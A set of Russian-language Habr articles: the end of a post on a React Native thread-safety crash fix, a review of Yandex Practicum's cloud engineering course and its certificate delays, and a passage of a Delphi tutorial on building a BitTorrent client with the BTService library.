![](https://habrastorage.org/r/w1560/webt/lb/zh/ed/lbzhedoghis7id8ztopjgmnktim.png) Поскольку `DynamicFromMap` содержит статическую ссылку на `SimplePool`, несколько вызовов `DynamicFromMap` поступают из разных потоков, одновременно вызывая метод `acquire` в `SimplePool`. На иллюстрации выше поток A вызывает метод, оценивая условие как *true*, но он ещё не успел уменьшить значение `mPoolSize` (которое используется совместно с потоком B), в то время как поток B тоже вызывает этот метод и тоже оценивает условие как *true*. Впоследствии каждый вызов уменьшит значение `mPoolSize`, в результате чего и получается «невозможное» значение. Исправление =========== Изучая варианты исправления, мы обнаружили [пул-реквест на react-native](https://github.com/facebook/react-native/pull/17842), который ещё не влился в ветку — и он обеспечивает потокобезопасность в данном случае. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/0ac/cc8/d41/0accc8d41420c6b3f8504c606b5e9bdd.png) Затем мы выкатили исправленную версию React Native для пользователей. Сбой наконец-то исправлен, ура! ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/c91/54c/594/c9154c594b924162ee07c76003f30416.png) Итак, благодаря помощи Дженика Дюплесси (контрибьютор в ядро React Native) и Микаэля Сэнда (мейнтейнер `react-native-svg`), патч [включён в следующую минорную версию React Native 0.57](https://github.com/react-native-community/react-native-releases/issues/48#issuecomment-431416538). Исправление этого бага потребовало некоторых усилий, но это была отличная возможность глубже покопаться в react-native и react-native-svg. Хороший отладчик и несколько хорошо расположенных точек останова имеют большое значение. Надеюсь, вы тоже вынесли из этой истории что-то полезное!
https://habr.com/ru/post/432426/
null
ru
null
# Обзор курса от Яндекс.Практикум «Инженер облачных сервисов», или Как мы томимся в ожидании заветных сертификатов ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/a49/16c/e67/a4916ce67efd1ab318f89f6b52b35ff5.jpg)Если говорить кратко, то в начале года у компании зародилась отличная мысль повысить компетенции у инженеров путем сдачи всевозможных курсов и получения сертификатов. Был проведен ресерч, и было решено массово готовиться сдавать сертификаты от облачного провайдера AWS. Однако, в связи известными событиями, лавочка по сдаче экзаменов у AWS закрылась, а если говорить точнее - то с переводами оплаты стало сложнее. А так как нам от многих компаний начали поступать запросы на миграцию в Яндекс, было принято решение поголовно пройти бесплатный курс от Яндекс.Практикум «Инженер облачных сервисов» для более близкого ознакомления с облачными ресурсами Яндекса. В первую очередь прохождение касалось именно junior-инженеров и тех, кому не доводилось работать в этом облаке. Когда мы закончили с обучением, решили сделать обзор, где бы указывались сильные и слабые этого стороны курса. Я вам покажу, что входит в программу (а курс содержит много чего интересного), сделаю обзор  на каждый блок и под конец накину ложку дегтя, рассказав о том, как большинство ребят из Nixys уже три месяца не могут получить свои законные сертификаты. Давайте начинать. Пройдя обычную регистрацию и войдя в кабинет практикума мы получаем достаточно понятную и ненагруженную область с представленной программой выбранного курса: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/67e/d0e/24d/67ed0e24de6c179f5e1f3a0174693302.png)Текущий курс состоит из 7 блоков из которых 6 учебных и 1 блок итоговый, где нужно заполнить анкеты на получение сертификата: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a2b/720/479/a2b7204799d418b6710f71eb473e8046.png)Каждый из шести курсов разделен на темы: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e33/61e/80e/e3361e80e141f3c84c94a8fe562e9e3a.png)Поначалу будет доступна только первая тема, а после прохождения всех уроков в теме открывается следующая. Во время обучения, основная ваша задача изучать качественный теоретический материал и попутно выполнять практические задания в Yandex.Cloud. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e14/d97/dee/e14d97dee4fff2a8d221ed86befead0e.png)Для оплаты используемых ресурсов вам предоставляется стартовый грант после создания первого аккаунта в Yandex.Cloud. Его размер составляет 4 тысячи рублей, либо срок действия — 60 дней. Сразу отмечу, что текущего гранта вам хватит за глаза. При правильном использовании ресурсов (желательно стопать или удалять ресурсы сразу после прохождения практического задания) вы вряд ли потратите даже 500 рублей. Каждый блок можно проходить в любом порядке, однако рекомендую не нарушать очередность, также в конце каждого блока нужно пройти обязательное тестирование, где предоставляются две попытки на сдачу экзамена. (Сразу предупрежу, если вы теряете все попытки при сдаче, у вас пропадает возможность получения сертификата.) PS: Стоит наверное сразу предупредить, что к тестовому заданию проще заранее подготовиться. В основном на сдачу предлагают 10 вопросов с вариантами ответов и с выделенным временем на 30 минут. Вопросы в меру сложные, если в целом теорию изучить нормально, то сдать на минимум крайне просто. Самым сложным, наверное, показался тест второго блока. Но тут можно, конечно, схитрить и во время тестирования открыть дополнительную вкладку и прочекать теорию, но я вам об этом не говорил:) Давайте, теперь кратко, пройдемся по каждому блоку. Я буду описывать по большей части, положительные моменты каждого блока. Блок “Виртуальные машины” для начала очень хорошо задает темп обучения. Здесь вам покажут как поднять виртуальную машину, расскажут про группу безопасности и на практике будет возможность поиграть с балансировщиком нагрузки. От себя отмечу, что понравилась тема “группы виртуальных машин”, где прорабатываются все возможные условия по масштабируемости и отказоустойчивости виртуальных машин. После отличного старта, далее идет самый длинный и, пожалуй, самый скучный блок данного курса “Хранение и анализ данных”: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/352/bee/4d5/352bee4d562f445773aec0da5222c33a.png)По версии Яндекса, данный курс рассчитан на 5 часов. Однако сразу скажу, что вы потратите в 2,5 раза больше рассчитанного. (Небольшой wtf? В программе [обучения](https://practicum.yandex.ru/ycloud/) как раз указаны реальные часы на прохождение блока. Очень странные расхождения): ![В кабинете](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b37/af7/70b/b37af770bf99f814afa16ba316c2785f.png "В кабинете")В кабинете![На сайте](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b74/615/a60/b74615a6014f206cfff12ae801decd60.png "На сайте")На сайтеОпределенно у этого курса очень сильная теория и практика, где вы узнаете о реляционных и нереляционных баз данных. Так же рассмотрите Object Storage, создадите кластера PostgreSQL, MySQL, Clickhouse и тд. Для новичков это самое то, однако, я, конечно, все понимаю, что хотелось показать и рассказать максимально обо всех доступных возможностях бд в облаке, но в середине прохождения возникает стойкое желание проскипать блок (перегружен очень), а еще хуже в некоторых моментах возникли нестыковки в техническом задании, которые добавили дополнительное время на решение практических заданий. Но о минусах мы поговорим чуть позже. После утомительного второго блока начинается, пожалуй, самый интересный. Хотите kubernetes, docker, terraform? Пожалуйста - получите, распишитесь: все это вы найдете в блоке “DevOps и автоматизация”. Если говорить про общее впечатление, то тут все описано коротко и ясно. Понравилась тема? Показалось, что мало? Так бегом, иди и изучай ее дальше. Особенно это касается терраформа, прям хотелось побольше материала. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2cb/7f4/d1b/2cb7f4d1b2bafa4723d8aa4653b1a667.png)С блоком “Serverless” вышло как-то спорно. Может быть уже сказывалось усталось от общего прохождения или просто не зацепил, трудно сказать. Блок построен вокруг четырёх основных сервисов экосистемы Serverless в Yandex.Cloud. Тут оставлю описание из урока, где можно ознакомится с программой блока: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/800/e4e/ea5/800e4eea596cb669e94727193936a8be.png)Последние два блока, как по мне, показались самыми простыми и быстрыми по прохождению. В блоке по безопасности вы узнаете, как группы безопасности могут использоваться для сегментации и изоляции ресурсов, а также познакомитесь сервисом Certificate Manager, при помощи которого выпустите сертификат для сайта. Последний блок и вовсе уходит в расчет и контроль финансов в вашем облаке. Из интересного, отмечу практический урок по поиску самой затратной виртуальной машины. Но как бы я не был ослеплен данными уроками, в процессе обучения начинает складываться впечатление, что на курс, мягко говоря, “подзабили”. Давайте разберем поподробнее (сразу отмечу, что для выявления минусов был проведен опрос среди тех, кто сдавал курс) 1. **Скриншоты старого дизайна Yandex.cloud.** Пожалуй, первое, что бросается в глаза, - это скриншоты со старым интерфейсом Yandex.cloud. Возможно это натянутая придирка, но когда ты ни разу не работал с данным облаком и первый раз знакомишься с системой, поначалу немного путаешься, но как только ты привыкаешь к интерфейсу, далее становится уже без разницы и не замечаешь (кроме того, что добавлены новые функции). Было бы клево обновить старые скриншоты на актуальные Элементарный пример, что со временем уже в Virtual Private Cloud добавилось немало параметров: ![Старый дизайн](https://habrastorage.org/r/w1560/getpro/habr/upload_files/205/1ab/b25/2051abb25717445e06ba67af41a88ea3.png "Старый дизайн")Старый дизайн![Новый дизайн](https://habrastorage.org/r/w1560/getpro/habr/upload_files/dd2/474/b72/dd2474b722cc4bbe27ecd8c8f353f51e.png "Новый дизайн")Новый дизайн2. **Неуместные промежуточные вопросы**. Прям недоумение вызвала, серия вопросов, где нужно было рассчитать стоимость ресурсов и написать правильный ответ. Берем в пример тему “Особенности сервиса управляемых баз данных MongoDB”. В теме написано про репликацию, про отказоустойчивость и даже про обычное обновления бд. В конце урока получаем промежуточные вопросы подобного типа: ![Промежуточный вопрос.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1b9/ad8/fb1/1b9ad8fb104831e24f445a621a2898b8.png "Промежуточный вопрос.")Промежуточный вопрос.Как по мне, лучше бы прописали промежуточные вопросы про ту же репликацию. Плюс ко всему, цены на ресурсы изменились и, соответственно, некоторые вопросы по подсчету стоимости стали совсем не актуальны. 3. **Проблемы с практической частью с mongodb.** Во-первых, почему нельзя было указать прямую ссылку на документацию с инструкцией по установке mongosh? Там есть подробная инструкция по установке утилиты через репозиторий. Во-вторых, все указанные ссылки не работают для пользователей из России (на помощь приходит vpn): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e22/7d0/3d3/e227d03d3bbae0d0ae3fd6a1b4e272d5.png)В-третьих, расходятся методы подключения к кластеру mongodb. Когда нажимаешь на вкладку “подключиться” к кластеру в консоли, выводится утилита mongo (в задании точно так же): ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/d30/e99/e96/d30e99e96d75be832a6ca77dfbd4c1cb.jpeg)Это создает проблему с подключением, хотя по заданию указано установить другую утилиту mongosh. С помощью mongosh подключение к бд срабатывало корректно. Но стоит отметить, что способ подключения в документации Яндекса указан верно: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/46e/628/22a/46e62822a6a402168c8454d686d151c9.png) 4. **Проблема с Terraform и Packer.** Опять же, никто не проверяет актуальность инструкций. Снова нет возможности (без использования vpn) поставить данные утилиты для решения практических заданий. После перехода на официальный источник packer, указанный в практическом блоке, получаем 500 ошибку: `curl -Il https://www.packer.io/intro/getting-started/install HTTP/2 500 date: Mon, 27 Jun 2022 04:32:56 GMT content-type: text/plain; charset=utf-8 x-vercel-error: INTERNAL_EDGE_FUNCTION_UNHANDLED_ERROR` Но тут, благо, указали зеркало, где можно благополучно скачать и поставить на нужный дистрибутив утилиту и спокойно проходить задание. А вот с терраформом не все так радужно. Так как hashicorp ограничил установку терраформа для пользователей из РФ, установить утилиту по указанным инструкциям не выйдет: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c87/62d/66e/c8762d66e9eb0fc416a3d2333a8b4354.png)`сurl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add - Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). curl: (22) The requested URL returned error: 403 gpg: не найдено данных формата OpenPGP.` VPN, конечно, решает данную проблему: `curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add - Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). OK` Или в задании требуется создать блок в спецификации [my-config.tf](http://my-config.tf) и благодаря все той же блокировке мы просто не можем этого сделать: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/eb9/378/756/eb93787561c28f3fc0621590e966e2f0.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/169/da7/7dc/169da77dcf66691e18255838608c910b.png)Тут явно не хватает приписки о том, что нужно использовать vpn, либо вообще стоит переделать задание. Ну и пожалуй, перейдем, к той самой “ложке дегтя”. Тут отлично подходит данная картинка, от того же курса: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/40f/c38/a9b/40fc38a9b2cd06992207f9186aa2b9ec.png)Мы все такие молодцы, потратили время, все сдали, сделали выводы и готовы получить сертификат… Но Яндекс начинает настойчиво нас игнорить: ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/088/8a0/aa8/0888a0aa814d7e7500f3f465c0aa1137.jpg)Получилось так, что части нашей команды инженеров в течении 2-3 недель отправили сертификаты, а остальным почему-то нет. И вот тут совсем недоумеваешь от происходящего, тем более от Яндекса ожидаешь более профессионального подхода. Техподдержка курса постоянно кормит завтраками: ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/a11/646/df1/a11646df169ad51796466bf459f6f709.jpg)Вот и выходит, что аж с апреля-месяца 7 человек из компании не могут получить заветный сертификат, при этом 10 сотрудников уже среди его обладателей. Одно непонятно, вроде сертификат электронного вида, так в чем же заключается сложность отправки? Надеюсь ребята из Яндекса это увидят и смогут предоставить ответ. PS: Пока писал статью, Яндекс все-таки прислали сертификаты, но не всем. Только опять не ясно, в чем причина столь долгой задержки. Когда открыл серт, был удивлен, что он подписан 02.06.2022, а получил 28.06.2022: ![Письмо счастья](https://habrastorage.org/r/w1560/getpro/habr/upload_files/edf/966/3e1/edf9663e1498c1d15cf7c36e043c9047.png "Письмо счастья")Письмо счастья![Заветный сертификат](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c9d/8b4/89c/c9d8b489c3a7f7f463c3b2b9e8d8b9da.png "Заветный сертификат")Заветный сертификатПожалуй, на этом с обзором курса заканчиваю, и если говорить субъективно, то этому  курсу явно не хватает куратора, который хотя бы раз в полгода следил за актуальностью всего курса. Курс рекомендовал бы пройти тем, кто хочет познакомиться с облачной инфраструктурой Яндекса, а также джунам, которые только начинают втягиваться в сферу DevOps. Присоединяйтесь к нашему telegram-сообществу [DevOps FM](https://t.me/devops_fm) - там мы публикуем полезные новости и статьи по теме DevOps (и не только).
https://habr.com/ru/post/675974/
null
ru
null
# Программируем BitTorrent-клиент. Чистый Delphi ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/aea/cd2/09b/aeacd209bfe3d90f47a4557cb787f5e3.png)Прошло 8 лет после написания статьи [Игорем Антоновым (Spider\_NET)](http://iantonov.me) про [создание торрент-клиента на C#](http://iantonov.me/page/programmiruem-torrent-klient-na-sdelphis-c), но в сети так и не появилось самого простого примера, как это можно сделать на Delphi. Чтобы развеять сомнения по поводу неэффективности языка Delphi в таком «непростом» деле, как написание полноценного битторрент-клиента, я и решил написать эту статью. Сразу скажу, что наш торрент-клиент на Delphi будет с открытым исходным кодом и будет поддерживать практически все современные битторрент-технологии, в том числе DHT, magnet-ссылки, последовательная закачка и т.д. Поиск в интернете уже готовых исходников клиента на Delphi привел к результатам, но эти результаты оказались далеко неидеальными. Первым результатом оказался давно заброшенный [Torrent Torque](http://torrenttorque.sourceforge.net/) (2007г), причём альфа-версия. TorrentTorque мне не удалось нормально скомпилировать и испытать. Следующим результатом поиска, оказался малоизвестный в рунете [Ares Galaxy](http://aresgalaxy.sourceforge.net/), который оказался вполне работоспособным и даже популярным в некоторых странах торрент-клиентом. Помучавшись с компиляцией, мне всё же удалось испытать желанный код, но у него оказались недостатки, которые как выяснилось, разработчиками не исправляются уже давно. Кроме того, Ares Galaxy написан на Delphi 7, а это значит, что для компиляции в более новых версиях RAD Studio необходимо переписывать огромное количество кода. Но меня это не остановило и я нашёл другой выход для решения данной задачи. Начав разбираться в исходниках Ares Galaxy, выяснил, что многие операции выполняются в одном потоке, что в результате кратковременно останавливает процесс закачки всех торрентов в списке. Потому я решил исправить недостатки и вынес процедуры, которые замедляют выполнение кода, в отдельные потоки. Получив положительный результат, решил разместить исходники на sourceforge.net. Код выполнил в виде dll-библиотеки BTService, с применением системы плагинов, о которой в своё время подробно рассказал Александр Алексеев в своей серии статей [«Разработка системы плагинов»](http://www.gunsmoker.ru/2011/12/delphi.html). Так что с применением такой системы плагинов возможно создание битторрент-клиента в любом компиляторе RAD Studio и не только на Delphi, но и на других языках программирования. Библиотека BTService и её исходники доступны по ссылке: <http://btservice.sourceforge.net/> Итак, приступим к написанию простого клиента на основе библиотеки BTService. Интерфейс клиента выполним в классическом стиле, с минимальным набором компонентов, но чтобы была видна основная функциональность библиотеки. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/0d5/467/65d/0d546765db3bd9ada9bc19961dd05890.png) Пять кнопок на панели инструментов: добавление magnet-ссылки, добавление торрента, создание торрента, запуск торрента и остановка торрента. Список торрентов будем отображать в стандартном TListView. Списки файлов, подключенных пиров и трекеров также разместим на TListView, которые соответственно будут отображаться при открытии вкладок TPageControl. Ну а внизу главной формы StatusBar, на котором будет отображаться magnet-ссылка выделенного в списке торрента, четыре состояния торрента и общие скорости закачки и отдачи для всех торрентов в списке. Теперь по порядку разберёмся с событиями создания, запуска и остановки торрентов. Все подробности связанные с созданием торрента и спецификацией битторрент-протокола описывать не будем, т.к. до нас это сделал Игорь в своей статье [«Кодим BitTorrent-клиент. Часть первая»](http://www.vr-online.ru/content/kodim-bittorrent-klient-chast-pervaja-4622). Весь код, выполняющий создание торрента, доступен в библиотеке BTService. Кому интересна его реализация, смотрите исходники библиотеки. Ну а я лишь укажу код, взаимодействующий с библиотекой. Для начала создадим форму «Создать новый торрент». На которой разместим три кнопки: «Добавить файл», «Добавить папку» и «Создать». Добавим TPageControl. На первой вкладке разместим основные параметры. Параметр «Размер части» выполним в TCombobox, «Начать закачку» и «Частный торрент» выполним в TCheckBox. На других вкладках TPageControl разместим поля TMemo, добавляющие в торрент-файл адреса трекеров, веб-сидов и комментарии. Процесс создания торрента будем отображать на двух TProgressBar. На первом будет отображаться выполнение хэширования отдельного файла, а на другом общий процесс выполнения хэширования всех файлов торрента. [![](https://habrastorage.org/r/w1560/getpro/habr/post_images/bfb/df4/728/bfbdf47287956bad96e1e36ab2780d97.png)](http://xn--80aaf3akpoou.xn--p1ai/themes/corporateclean/4.png) Для кнопки «Добавить файл» код будет следующий: ``` procedure TfCreateTorrent.btnAddFileClick(Sender: TObject); begin FormStyle := fsNormal; if OpenDialog1.Execute then begin ComboBox1.Text := PChar(OpenDialog1.Filename); // выбор файла btnCreate.Enabled := true; end; FormStyle := fsStayOnTop; end; ``` Для кнопки «Добавить папку» код будет следующий: ``` procedure TfCreateTorrent.btnAddFolderClick(Sender: TObject); var chosenDirectory: string; begin FormStyle := fsNormal; if SelectDirectory('Выберите каталог: ', '', chosenDirectory) then begin ComboBox1.Text := chosenDirectory; // выбор папки btnCreate.Enabled := true; end; FormStyle := fsStayOnTop; end; ``` То есть в поле «Выбор источника»(ComboBox1.Text) добавляется путь файла или папки, в зависимости от того, что мы хотим добавить в торрент, один файл или несколько файлов в папке. Далее на кнопку «Создать» пишем код: **Код создания торрент-файла** ``` procedure TfCreateTorrent.btnCreateClick(Sender: TObject); var BTCreateTorrent: IBTCreateTorrent; X: Integer; FindBTPlugin: Boolean; Id: string; begin if ButtonSave then begin if ComboBox1.Text[length(ComboBox1.Text)] = '\' then ComboBox1.Text := copy(ComboBox1.Text, 1, length(ComboBox1.Text) - 1); if FileExists(ComboBox1.Text) then begin SaveDialog1.Filter := 'Torrent Files (*.torrent)|*.torrent'; SaveDialog1.Filename := ComboBox1.Text + '.torrent'; SaveDialog1.DefaultExt := 'Torrent files (*.torrent)'; FormStyle := fsNormal; if SaveDialog1.Execute then begin FormStyle := fsStayOnTop; TorrentFileName := SaveDialog1.Filename; // выбор пути для сохраниния торрент-файла ButtonSave := False; btnCreate.Caption := 'Остановить'; EnterCriticalSection(TorrentSection); try for X := 0 to Plugins.Count - 1 do begin if (Supports(Plugins[X], IBTCreateTorrent, BTCreateTorrent)) then // поиск интерфейса IBTCreateTorrent, отвечающего за создание торрент-файла begin FindBTPlugin := true; break; end; end; finally LeaveCriticalSection(TorrentSection); end; if FindBTPlugin then begin Id := IntToStr(CreateTorrentID) EnterCriticalSection(TorrentSection); try try BTCreateTorrent.SingleFileTorrent((Id), (ComboBox1.Text), (SaveDialog1.Filename), (mmoComment.Lines.Text), (GetAnnounceURL), (mmWebSeeds.Lines.Text), CheckBox2.checked, ComboBox2.ItemIndex, False, False, '', '', '', ''); //запуск процедуры создания торрент-файла из плагина BTService для одиночного файла except end; finally LeaveCriticalSection(TorrentSection); end; repeat application.ProcessMessages; EnterCriticalSection(TorrentSection); try try GetInGeted(BTCreateTorrent.GetInfoTorrentCreating(Id)); // получение информации о создании торрент файла except end; finally LeaveCriticalSection(TorrentSection); end; if (Stop) and (not(GetedStatus = 'stoped')) then begin EnterCriticalSection(TorrentSection); try try BTCreateTorrent.StopCreateTorrentThread(Id); // остановка создания торрент-файла except end; finally LeaveCriticalSection(TorrentSection); end; end; WaitingCreation; if (Stop) and (not(GetedStatus = 'stoped')) then begin EnterCriticalSection(TorrentSection); try try BTCreateTorrent.StopCreateTorrentThread(Id); // остановка создания торрент-файла except end; finally LeaveCriticalSection(TorrentSection); end; end; sleep(10); until (GetedStatus = 'completed') or (GetedStatus = 'stoped'); end; try ReleaseCreateTorrentThread(BTCreateTorrent, Id); // уничтожение потока создания торрент-файла except end; if (GetedStatus = 'completed') then begin sGauge2.Position := sGauge2.Max; sGauge1.Position := sGauge1.Max; StatusBar1.Panels[0].Text := 'Создание торрент-файла успешно завершено!'; if CheckBox1.checked then StartTorrent; end; if (GetedStatus = 'stoped') then begin StatusBar1.Panels[0].Text := 'Остановлено.'; end; Stop := False; btnCreate.Enabled := true; ButtonSave := true; btnCreate.Caption := 'Создать'; end; end else if DirectoryExists(ComboBox1.Text) then begin SaveDialog1.Filter := 'Torrent Files (*.torrent)|*.torrent'; SaveDialog1.Filename := ComboBox1.Text + '.torrent'; SaveDialog1.DefaultExt := 'Torrent files (*.torrent)'; FormStyle := fsNormal; if SaveDialog1.Execute then begin FormStyle := fsStayOnTop; TorrentFileName := SaveDialog1.Filename; // выбор пути для сохраниния торрент-файла ButtonSave := False; btnCreate.Caption := 'Остановить'; EnterCriticalSection(TorrentSection); try for X := 0 to Plugins.Count - 1 do begin if (Supports(Plugins[X], IBTCreateTorrent, BTCreateTorrent)) then // поиск интерфейса IBTCreateTorrent, отвечающего за создание торрент-файла begin FindBTPlugin := true; break; end; end; finally LeaveCriticalSection(TorrentSection); end; if FindBTPlugin then begin Id := IntToStr(CreateTorrentID) EnterCriticalSection(TorrentSection); try try BTCreateTorrent.CreateFolderTorrent((Id), (ComboBox1.Text), (SaveDialog1.Filename), (mmoComment.Lines.Text), (GetAnnounceURL), (mmWebSeeds.Lines.Text), CheckBox2.checked, ComboBox2.ItemIndex, False, False, '', '', '', ''); //запуск процедуры создания торрент-файла из плагина BTService для каталога с файлами except end; finally LeaveCriticalSection(TorrentSection); end; repeat application.ProcessMessages; EnterCriticalSection(TorrentSection); try GetInGeted(BTCreateTorrent.GetInfoTorrentCreating(Id)); // получение информации о создании торрент файла finally LeaveCriticalSection(TorrentSection); end; if (Stop) and (not(GetedStatus = 'stoped')) then begin EnterCriticalSection(TorrentSection); try try BTCreateTorrent.StopCreateTorrentThread(Id); // остановка создания торрент-файла except end; finally LeaveCriticalSection(TorrentSection); end; end; WaitingCreation; if (Stop) and (not(GetedStatus = 'stoped')) then begin EnterCriticalSection(TorrentSection); try try BTCreateTorrent.StopCreateTorrentThread(Id); // остановка создания торрент-файла except end; finally LeaveCriticalSection(TorrentSection); end; end; sleep(10); until (GetedStatus = 'completed') or (GetedStatus = 'stoped'); EnterCriticalSection(TorrentSection); try try ReleaseCreateTorrentThread(BTCreateTorrent, Id); // уничтожение потока создания торрент-файла except end; finally LeaveCriticalSection(TorrentSection); end; if (GetedStatus = 'completed') then begin sGauge2.Position := sGauge2.Max; sGauge1.Position := sGauge1.Max; StatusBar1.Panels[0].Text := 'Создание торрент-файла успешно завершено!'; if CheckBox1.checked then StartTorrent; end; if (GetedStatus = 'stoped') then begin StatusBar1.Panels[0].Text := 'Остановлено.'; end; Stop := False; btnCreate.Enabled := true; ButtonSave := true; btnCreate.Caption := 'Создать'; end; end; end else begin Stop := False; btnCreate.Enabled := true; ButtonSave := true; btnCreate.Caption := 'Создать'; end; end else begin Stop := true; btnCreate.Enabled := False; ButtonSave := true; StatusBar1.Panels[0].Text := 'Приостановка процесса...'; btnCreate.Caption := 'Останавливается...'; end; end; ``` Как видно из кода, первым делом происходит выбор каталога для сохранения торрента. А далее происходит поиск интерфейса IBTCreateTorrent, отвечающего за вызов процедуры SingleFileTorrent из плагина BTService. Данная процедура запускает процесс создания торрент-файла с содержанием одного файла, а для папки с файлами запускается процедура CreateFolderTorrent. После этого запускатся цикл repeat, в котором происходит периодическое обращение к функции GetInfoTorrentCreating, которая возвращает результат действий из плагина в процессе создания торрента и информацию о проценте выполненного хеширования. Если результат возвращается GetedStatus = 'completed', то процесс создания торрента завершился удачно и можно выходить из цикла. Для добавления торрента в список создадим форму «Добавить торрент». Разместим на неё две кнопки: «Закачать» и «Добавить в список». Первая будет добавлять торрент в список и сразу начинать процесс скачивания, а вторая будет просто добавлять торрент в список для ожидания последующих действий над ним. Для отображения информации о торренте добавим на форму TEdit («Файл торрента:»), TComboBox («Сохранить в:»), TLabel(«Имя торрента:»,«Описание:», «Дата:») и список TListView, который будет показывать содержимое файлов и папок торрента. [![](https://habrastorage.org/r/w1560/getpro/habr/post_images/fc3/154/f44/fc3154f44de391577c75109e09981727.png)](http://xn--80aaf3akpoou.xn--p1ai/themes/corporateclean/2.png) **Код добавления и закачки торрента** ``` procedure TfAddTorrent.btnDownloadClick(Sender: TObject); begin if AddTask(true, false) then close; end; function TfAddTorrent.AddTask(Now: Boolean; ShowPrev: Boolean): Boolean; var find: Boolean; TorrentDataSL: TStringList; X: Integer; DataTask: TTask; BTPluginAddTrackers: IBTServicePluginAddTrackers; begin Result := false; if Trim(HashValue) = '' then begin MessageBox(Handle, PChar('Нет доступа к торрент файлу или ошибка чтения торрент-файла'), PChar(Options.Name), MB_OK or MB_ICONWARNING or MB_TOPMOST); Exit; end; find := false; with TasksList.LockList do try for X := 0 to Count - 1 do begin DataTask := Items[X]; if DataTask.Status <> tsDeleted then if DataTask.HashValue = HashValue then begin find := true; break; end; end; finally TasksList.UnLockList; end; if find then begin if MessageBox(Application.Handle, PChar('Вы пытаетесь добавить торрент, который уже есть в списке. Хотите загрузить из него список трекеров?'), PChar(Options.Name), MB_OKCANCEL or MB_ICONWARNING) = ID_OK then begin for X := 0 to Plugins.Count - 1 do begin if (Supports(Plugins[X], IBTServicePluginAddTrackers, BTPluginAddTrackers)) then begin try BTPluginAddTrackers.AddTrackers(HashValue, trackers); // Добавление трекеров из торрент-файла except end; break; end; end; end; Exit; end; TorrentDataSL := TStringList.Create; try TorrentDataSL.Insert(0, BoolToStr(true)); if Now then TorrentDataSL.Insert(1, BoolToStr(true)) else TorrentDataSL.Insert(1, BoolToStr(false)); TorrentDataSL.Insert(2, Edit1.Text); TorrentDataSL.Insert(3, ExcludeTrailingBackSlash(cbDirectory.Text)); TorrentDataSL.Insert(4, IntToStr(0)); TorrentDataSL.Insert(5, Edit2.Text); AddTorrent(TorrentDataSL.Text, HashValue, Now, ShowPrev); finally TorrentDataSL.Free; end; try ForceDirectories(ExcludeTrailingBackSlash(cbDirectory.Text)); except end; SaveTasksList; Result := true; end; function TfAddTorrent.AddTorrent(TorrData: string; HashValue: string; Now: Boolean; ShowPrev: Boolean): Boolean; var AddDataTask: TTask; AddedData: TStringList; CreaName, CreatedName: string; Plugin2: IAddDownload; IndexPlugin2: Integer; Silent: Boolean; Down: Boolean; begin Result := false; AddedData := TStringList.Create; try AddedData.Text := TorrData; try Silent := StrToBool(AddedData[0]); Down := StrToBool(AddedData[1]); except Down := true; Silent := true; end; if Silent then begin AddDataTask := TTask.Create; AddDataTask.TorrentFileName := AddedData[2]; // путь к добавляемому торрент-файлу AddDataTask.HashValue := HashValue; // info hash AddDataTask.LinkToFile := 'magnet:?xt=urn:btih:' + AnsiLowerCase(AddDataTask.HashValue); // magnet-ссылка AddDataTask.Directory := ExcludeTrailingBackSlash(AddedData[3]); // директория для сохранения содержимого закачиваемого торрента AddDataTask.ID := Options.LastID + 1; // идентификатор в списке торрентов Options.LastID := AddDataTask.ID; CreaName := AddedData[5]; CreaName := trimleft(CreaName); CreaName := trimright(CreaName); CreatedName := CreaName; AddDataTask.FileName := CreatedName; // имя файла или каталога закачиваемого торрента AddDataTask.Description := ''; if CheckBox1.Checked then AddDataTask.ProgressiveDownload := true // функция последовательной закачки включена else AddDataTask.ProgressiveDownload := false; // функция последовательной закачки отключена if Down then AddDataTask.Status := tsQueue // добавляем закачку в очередь else AddDataTask.Status := tsReady; // торрент готов к закачке AddDataTask.TotalSize := SizeTorrent; // размер содержимого файлов закачиваемого торрента AddDataTask.LoadSize := 0; AddDataTask.TimeBegin := 0; AddDataTask.TimeEnd := 0; AddDataTask.TimeTotal := 0; AddDataTask.MPBar := TAMultiProgressBar.Create(nil); // создание прогрессбара Plugin2 := nil; DeterminePlugin2('bittorrent', IServicePlugin, Plugin2, IndexPlugin2); if Plugin2 <> nil then if Plugins[IndexPlugin2] <> nil then if (Plugins[IndexPlugin2].TaskIndexIcon > 0) then AddDataTask.TaskServPlugIndexIcon := Plugins[IndexPlugin2] .TaskIndexIcon else begin if pos('magnet:?', AnsiLowerCase(AddDataTask.LinkToFile)) = 1 then AddDataTask.TaskServPlugIndexIcon := 34; end; TasksList.Add(AddDataTask); Result := true; PostMessage(Options.MainFormHandle, WM_MYMSG, 0, 12345); if Now then LoadTorrentThreads.Add(TLoadTorrent.Create(false, AddDataTask, true)); // создание потока выполняющего запуск торрента end; finally AddedData.Free; end; end; ``` В процедуре добавления торрента происходит проверка на наличие info hash в списке торрентов. Если info hash найден, то вместо добавления торрента в список, будет предложено добавить адреса трекеров из торрента 